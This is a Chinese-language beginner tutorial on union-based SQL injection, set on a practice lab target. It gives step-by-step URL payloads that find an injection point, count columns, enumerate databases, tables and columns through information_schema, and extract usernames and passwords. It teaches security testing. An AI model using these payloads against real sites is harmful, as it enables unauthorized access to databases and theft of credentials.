SQL注入思路|零基础也能看懂
本教程采用墨者学院SQL注入靶机,所以注入方法不一定适用于每一个网站
SQL注入思路
想要sql注入,必须知道数据库的结构(数据库、表名、列名)
1.先判断有无注入点
判断方法: (这里讲的是最简单的一种注入类型判断,其他判断方法大同小异)
http://xxxxxx?id=1 and 1=1 #正常访问 http://xxxxxx?id=1 and 1=西瓜 #错误页面 或者: http://xxxxxx?id=-1 #错误页面
当页面出现如上情况,表示有注入点
2.猜解列名数量 (order by x)
以下猜解说明有4个列名
http://xxxxxx?id=1 order by 1 #正常 http://xxxxxx?id=1 order by 2 #正常 http://xxxxxx?id=1 order by 3 #正常 http://xxxxxx?id=1 order by 4 #正常 http://xxxxxx?id=1 order by 5 #错误
一直猜解,直到页面报错为止!
3.输入
http://xxxxxx?id=1 union select 1,2,3,4 #如果访问成功则表示猜解成功
4.报错出信息(让他报错,页面会返回值):
http://xxxxxx?id=1 and 1=西瓜 union select 1,2,3,4
下图发现报错了2,3,说明2,3处有注入点
5.对报错处进行相关数据查询:
5.1信息收集:
因为报错了2,3,所以我们的操作都是在2,3这两个点上进行 先解释一下sql中出现的关键信息: 数据库版本: version() 数据库名字:database() 数据库用户:user() 操作系统:@@version_compile_os information_schema.tables:记录所有表名 information_schema.columns:记录所有列名 table_name:表名 column_name:列名 table_schema: 数据库名字
必要知识点: 1.在mysql5.0以上版本,mysql存在一个自带数据库名为: information_schema,它是一个存储所有(数据库名、表名,列名)的数据库 ,反之,如果没有,就只能对表明数据库名进行暴力猜解
5.1.1查询版本和名字
明白上面的信息后,首先来查一查数据库版本和数据库名字:
http://xxxxxx?id=1 and 1=西瓜 union select 1,version(),database(),4
5.1.2查询数据库用户和操作系统
http://xxxxxx?id=1 and 1=西瓜 union select 1,user(),@@version_compile_os(),4
6.查询指定数据库下的表名信息:
(这里只显示了一个表名)
http://xxxxxx?id=1 and 1=西瓜 union select 1,table_name,3,4 from information_schema.tables where table_schema="这是数据库名字"
(如果需要显示所有,就需要改一下:group_concat),如下
http://xxxxxx?id=1 and 1=西瓜 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="这是数据库名字"
7.然后继续查列名:
输入上述语句后,就能查到表名,利用表名查列名
http://xxxxxx?id=1 and 1=西瓜 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="这是表的名字"
8.查询指定数据:
再利用列名查你想要得到的数据即可
http://xxxxxx?id=1 and 1=西瓜 union select 1,name,password,4 from 表名